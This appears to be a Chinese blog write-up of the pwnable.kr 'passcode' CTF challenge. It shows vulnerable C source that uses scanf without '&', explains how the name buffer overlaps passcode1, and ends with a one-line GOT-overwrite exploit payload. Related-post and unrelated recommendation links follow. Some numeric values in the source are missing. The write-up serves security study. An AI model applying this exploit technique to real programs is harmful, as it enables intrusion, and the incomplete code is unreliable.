使用ssh passcode@pwnable.kr -p2222登录到远程服务器, ls -l 查看目录下的文件,

-r--r-----  root passcode_pwn    Jun    flag
-r-xr-sr-x root passcode_pwn Jun passcode
-rw-r--r-- root root Jun passcode.c

先运行一下passcode,发现没啥,就直接打开原代码,

#include <stdio.h>
#include <stdlib.h> void login(){
int passcode1;
int passcode2; printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); printf("checking...\n");
if(passcode1== && passcode2==){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit();
}
} void welcome(){
char name[];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
} int main(){
printf("Toddler's Secure Login System 1.0 beta.\n"); welcome();
login(); // something after login...
printf("Now I can safely trust you that you have credential :)\n");
return ;
}

观察知重点是在登录函数,只要我们输入值的符合条件就可以拿到flag。但是由于 scanf()函数少了一个 ‘&’ 符号,所以这条路走不通。

在看发现welcome()函数和login()函数是连续调用的,所以有相同的栈底(保险可以调试一下看看是否栈底相同),而且name这个字符串开的比较大,感觉可以覆盖什么东西。

查看passcode文件的汇编代码,

找到name所在地址

找到passcode1和passcode2的地址,计算一下知道name最后四个字节刚好可以覆盖passcode1。

于是想到可以用 GOT表覆写技术,具体代码如下:

python -c 'print "A"*96+"\x00\xa0\x04\x08"+"134514147"' | ./passcode

拿到flag:

pwnable.kr之passcode的更多相关文章

  1. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  2. 【pwnable.kr】passcode

    pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是‘&’的锅. #include <stdio.h> ...

  3. pwnable.kr 之 passcode write up

    先看源码: #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; ...

  4. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  5. 【pwnable.kr】col

    pwnable从入门到放弃第二题, ssh col@pwnable.kr -p2222 (pw:guest) 同样是登录,然后看到了col.c.col.flag三个文件,读一下col.c #inclu ...

  6. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  7. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  8. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  9. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

随机推荐

  1. 文件上传Upload 漏洞挖掘思路

    1:尽可能多的找出网站存在的上传点2:尝试使用如上各种绕过方法3:尝试 geshell4:无法上传webshel的情况下: 尝试上传html等,或可造成存储XSS漏洞 上传点构造XSS等,结合上传后的 ...

  2. 【Java】AES加机解密工具类代码

    import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import javax.crypt ...

  3. java Eclipse刷新报错 Feature 'taglib' not found.

    刷新工程报错:org.eclipse.emf.ecore.xmi.FeatureNotFoundException: Feature 'taglib' not found. 错误原因:tomcat7, ...

  4. .net 跨平台桌面程序 avalonia:从项目创建到打包部署linux-64系统deepin 或 ubuntu。

    介绍: 目前微软还没有跨平台桌面程序的开发框架.github上有一个团队开始自行研发跨平台桌面框架,其中一款叫avalonia.avalonia 采用 Xaml+C#,类似于wpf,可运行于.netf ...

  5. Linux下如何高效切换目录?

    Linux 下对于目录的切换,大家肯定会想到一个命令:cd 命令.这个是 Linux 下再基本不过的命令,如果这个命令都不知道的话,赶紧剖腹自尽去吧. cd 命令确实很方便,但如果需要频繁在下面的目录 ...

  6. MQC集群配置错误

    这个错误说明配置里面,MQC环境配置错了 运行war包时会读到本地的配置system-config.propertites文件

  7. 【POJ2976】Dropping tests - 01分数规划

    Description In a certain course, you take n tests. If you get ai out of bi questions correct on test ...

  8. 图论算法(四)Dijkstra算法

    最短路算法(三)Dijkstra算法 PS:因为这两天忙着写GTMD segment_tree,所以博客可能是seg+图论混搭着来,另外segment_tree的基本知识就懒得整理了-- Part 1 ...

  9. 漏洞重温之文件上传(FUZZ)

    文件上传FUZZ思路通关upload-labs Pass-16 黑盒阶段 进入第十六关,首先我们能看到,该页面的上传点为图片上传. 首先,先把对方想的简单一点,这里虽然是上传图片,但是可能只是前端js ...

  10. SpringCloud简记_part2

    Zookeeper服务注册与发现 1)Eureka停止更新了,你怎么办? https://github.com/Netflix/eureka/wiki 2)SpringCloud整合Zookeeper ...